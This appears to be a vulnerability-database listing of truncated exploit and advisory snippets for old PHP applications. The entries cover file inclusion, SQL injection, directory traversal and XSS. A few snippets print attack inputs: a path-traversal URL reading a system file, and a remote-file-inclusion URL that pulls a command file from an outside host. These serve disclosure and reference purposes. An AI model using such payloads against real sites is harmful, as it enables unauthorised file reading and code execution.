phpRealty 0.3 - 'INC' Remote File Inclusion

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- phpRealty D.O.M Labs - Security Researchers - www.domlabs.org vuln code: ------------- 11: if!isset$GET'propID' || !isnumeric$GET'propID' || empty$GET'propID' 13: return; 17: include$INC."currconv.class.php"; // -------- Vuln Line!! // t...

Directory traversal

Directory traversal vulnerability in index.php in SyzygyCMS 0.3 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the page parameter...

syzygyCMS 0.3 - 'index.php' Local File Inclusion

syzygyCMS 0.3 Local File Inclusion + Discovered By SirGod + www.mortal-team.com + Greetz : E.M.I.N.E.M, Ras ,Puscasmarin + also ToxicBlood,MesSiAH,xZu Example : http://localhost/x/index.php?page=../../../autoexec.bat This will open autoexec.bat . milw0rm.com 2008-08-03...

CVE-2008-2891

CVE-2008-2891 corresponds to a SQL injection in the PHP script implementing eMuSOFT’s emuCMS 0.3. The vulnerability is triggered via the cat_id parameter in a category action within index.php, allowing remote attackers to execute arbitrary SQL commands. The core issue is improper input handling i...

A+ PHP Scripts News Management System 0.3 - Multiple Input Validation Vulnerabilities

source: https://www.securityfocus.com/bid/29912/info A+ PHP Scripts News Management System is prone to multiple input-validation vulnerabilities, including a remote file-include issue, multiple local file-include issues, and a cross-site scripting issue. An attacker can exploit these...

txtCMS 0.3 - index.php Local File Inclusion

txtCMS 0.3 - index.php Local File Inclusion txtCMS 0.3 index.php Local File Inclusion Exploit milw0rm.com 2008-05-09...

txtCMS 0.3 (index.php) Local File Inclusion Exploit

Exploit for unknown platform in category web applications =================================================== txtCMS 0.3 index.php Local File Inclusion Exploit =================================================== txtCMS 0.3 index.php Local File Inclusion Exploit 0day.today 2018-03-09...

txtCMS 0.3 - 'index.php' Local File Inclusion

txtCMS 0.3 index.php Local File Inclusion Exploit milw0rm.com 2008-05-09...

blur6ex-lfi.txt

..:::::blur6ex-0.3.462 LOCAL FILE INCLUSION Vulnerbility ::::... Virangar Security Team www.virangar.net -------- Discoverd By :Virangar Security Team hadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all iranian hackerz greetz:to my best friend in the world...

Simple PHP Scripts Gallery 0.x - 'index.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/28056/info Simple PHP Scripts 'gallery' is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an...

minipub-multi.txt

mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. remote file inclusion http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local file inclusion...

Sql injection

SQL injection vulnerability in functions/editevent.php in the WP-Cal 0.3 plugin for WordPress allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2008-0490

SQL injection vulnerability in functions/editevent.php in the WP-Cal 0.3 plugin for WordPress allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2008-0490

SQL injection vulnerability in functions/editevent.php in the WP-Cal 0.3 plugin for WordPress allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2008-0490

The WP-Cal 0.3 WordPress plugin contains an SQL injection in functions/editevent.php, exploitable via the id parameter. This affects the plugin’s ability to process events and can lead to arbitrary SQL execution. Connected sources confirm the component and parameter, with remediation guidance to ...

Sql injection

Multiple SQL injection vulnerabilities in the login function in system/classpermissions.php in bloofoxCMS 0.3 allow remote attackers to execute arbitrary SQL commands via the 1 username or 2 password parameter to admin/index.php...

Directory traversal

Directory traversal vulnerability in file.php in bloofoxCMS 0.3 allows remote attackers to read arbitrary files via a .. dot dot in the file parameter...

CVE-2008-0428

Multiple SQL injection vulnerabilities in the login function of bloofoxCMS 0.3 (system/class_permissions.php) allow remote attackers to inject arbitrary SQL via the username or password parameters to admin/index.php. Affects the login routine due to improper input sanitization; documented under C...

Debian Security Advisory DSA 249-1 (w3mmee)

The remote host is missing an update to w3mmee announced via advisory DSA 249-1. OpenVAS Vulnerability Test $Id: deb2491.nasl 6616 2017-07-07 12:10:49Z cfischer $ Description: Auto-generated from advisory DSA 249-1 Authors: Thomas Reinke Copyright: Copyright c 2007 E-Soft Inc...

Debian Security Advisory DSA 251-1 (w3m, w3m-ssl)

The remote host is missing an update to w3m, w3m-ssl announced via advisory DSA 251-1. OpenVAS Vulnerability Test $Id: deb2511.nasl 6616 2017-07-07 12:10:49Z cfischer $ Description: Auto-generated from advisory DSA 251-1 Authors: Thomas Reinke Copyright: Copyright c 2007 E-Soft Inc...